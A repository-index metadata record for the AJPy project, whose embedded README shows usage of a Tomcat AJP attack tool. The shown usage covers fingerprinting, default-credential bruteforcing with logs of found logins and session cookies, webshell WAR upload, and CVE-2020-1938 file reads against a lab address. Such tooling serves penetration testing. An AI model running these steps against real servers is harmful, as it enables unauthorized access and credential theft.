{"id":13845874,"url":"https://github.com/hypn0s/AJPy","last_synced_at":"2025-07-12T03:32:41.509Z","repository":{"id":49567380,"uuid":"59987519","full_name":"hypn0s/AJPy","owner":"hypn0s","description":null,"archived":false,"fork":false,"pushed_at":"2023-09-06T14:20:35.000Z","size":90,"stargazers_count":472,"open_issues_count":1,"forks_count":101,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-06-27T06:53:44.426Z","etag":null,"topics":["cve-2020-1938","tomcat"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hypn0s.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2016-05-30T06:56:34.000Z","updated_at":"2025-06-17T15:11:56.000Z","dependencies_parsed_at":"2024-06-18T15:32:16.812Z","dependency_job_id":"ba6ab83d-5ed3-4e81-bbaa-08a3ed9f75b4","html_url":"https://github.com/hypn0s/AJPy","commit_stats":{"total_commits":43,"total_committers":6,"mean_commits":7.166666666666667,"dds":0.3023255813953488,"last_synced_commit":"166bcf9d1854feb3d94c453868493fcd0370e4e1"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/hypn0s/AJPy","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hypn0s%2FAJPy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hypn0s%2FAJPy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hypn0s%2FAJPy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hypn0s%2FAJPy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hypn0s","download_url":"https://codeload.github.com/hypn0s/AJPy/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hypn0s%2FAJPy/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264930801,"owners_count":23684925,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2020-1938","tomcat"],"created_at":"2024-08-04T17:03:39.143Z","updated_at":"2025-07-12T03:32:41.187Z","avatar_url":"https://github.com/hypn0s.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# Intro\n\nAJPy aims to craft AJP requests in order to communicate with AJP connectors.\n\nReference documentation: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html\n\n# Tools\n\nAt the moment, only one tool is provided for Tomcat with the following modules:\n\n* version fingerprint\n```\n$ python tomcat.py version 172.17.0.2\nApache Tomcat/8.0.35\n```\n\n* authentication bruteforce\n```\n$ python tomcat.py -v  bf -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt /manager/html 172.17.0.2\n[2016-06-10 17:24:55.965] INFO     Attacking a tomcat at ajp13://172.17.0.2:8009/manager/html\n[2016-06-10 17:24:56.017] DEBUG    testing admin:admin\n[2016-06-10 17:24:56.069] INFO     Found valid credz: admin:admin\n[2016-06-10 17:24:56.069] INFO     Here is your cookie: JSESSIONID=1267BE97BFB5BFAEAFAAD76EE648FE06; Path=/manager/; HttpOnly\n[2016-06-10 17:24:56.069] DEBUG    testing admin:manager\n[2016-06-10 17:24:56.152] DEBUG    testing admin:role1\n[2016-06-10 17:24:56.154] DEBUG    testing admin:root\n[2016-06-10 17:24:56.155] DEBUG    testing admin:tomcat\n[2016-06-10 17:24:56.157] DEBUG    testing manager:admin\n[2016-06-10 17:24:56.158] DEBUG    testing manager:manager\n[2016-06-10 17:24:56.159] DEBUG    testing manager:role1\n[2016-06-10 17:24:56.160] DEBUG    testing manager:root\n[2016-06-10 17:24:56.161] DEBUG    testing manager:tomcat\n[2016-06-10 17:24:56.164] DEBUG    testing role1:admin\n[2016-06-10 17:24:56.164] DEBUG    testing role1:manager\n[2016-06-10 17:24:56.165] DEBUG    testing role1:role1\n[2016-06-10 17:24:56.166] DEBUG    testing role1:root\n[2016-06-10 17:24:56.167] DEBUG    testing role1:tomcat\n[2016-06-10 17:24:56.169] DEBUG    testing root:admin\n[2016-06-10 17:24:56.170] DEBUG    testing root:manager\n[2016-06-10 17:24:56.171] DEBUG    testing root:role1\n[2016-06-10 17:24:56.172] DEBUG    testing root:root\n[2016-06-10 17:24:56.173] DEBUG    testing root:tomcat\n[2016-06-10 17:24:56.175] DEBUG    testing tomcat:admin\n[2016-06-10 17:24:56.175] DEBUG    testing tomcat:manager\n[2016-06-10 17:24:56.176] DEBUG    testing tomcat:role1\n[2016-06-10 17:24:56.177] DEBUG    testing tomcat:root\n[2016-06-10 17:24:56.178] DEBUG    testing tomcat:tomcat\n[2016-06-10 17:24:56.184] INFO     Found valid credz: tomcat:tomcat\n[2016-06-10 17:24:56.184] INFO     Here is your cookie: JSESSIONID=9944126F31E428B8847AFEBF2307BB09; Path=/manager/; HttpOnly\n[2016-06-10 17:24:56.184] DEBUG    testing tomcat:sstic2016\n[2016-06-10 17:24:56.186] DEBUG    testing both:admin\n[2016-06-10 17:24:56.187] DEBUG    testing both:manager\n[2016-06-10 17:24:56.188] DEBUG    testing both:role1\n[2016-06-10 17:24:56.189] DEBUG    testing both:root\n[2016-06-10 17:24:56.190] DEBUG    testing both:tomcat\n[2016-06-10 17:24:56.191] DEBUG    Closing socket...\n```\n\n* WAR upload\n```\n$ python tomcat.py upload -u tomcat -p tomcat webshell.war 172.17.0.2\n```\n\n* WAR undeploy\n```\n$ python tomcat.py undeploy -u tomcat -p tomcat /webshell 172.17.0.2\n```\n\n* Application listing\n```\n$ python tomcat.py list -u tomcat -p tomcat 172.17.0.2\n```\n\n* Reading file using CVE-2020-1938\n```\n$ python tomcat.py read_file --webapp=examples /WEB-INF/web.xml 172.17.0.2\n```\n\n\n# Thanks\n* @MrTchuss for the Tomcat WAR upload fix\n* @kalidor for the Tomcat WAR undeploy and application listing\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhypn0s%2FAJPy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhypn0s%2FAJPy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhypn0s%2FAJPy/lists"}